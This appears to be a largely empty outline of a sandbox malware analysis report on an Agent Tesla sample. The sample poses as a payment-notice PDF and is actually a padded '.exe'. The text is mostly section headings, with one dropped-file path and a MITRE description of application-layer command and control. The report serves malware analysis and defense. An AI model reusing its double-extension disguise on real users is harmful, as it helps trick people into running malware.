Windows Analysis Report Aviso de pago.pdf____________________________.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Aviso de pago.pdf____________________________.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
Aviso de pago.pdf____________________________.exe

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre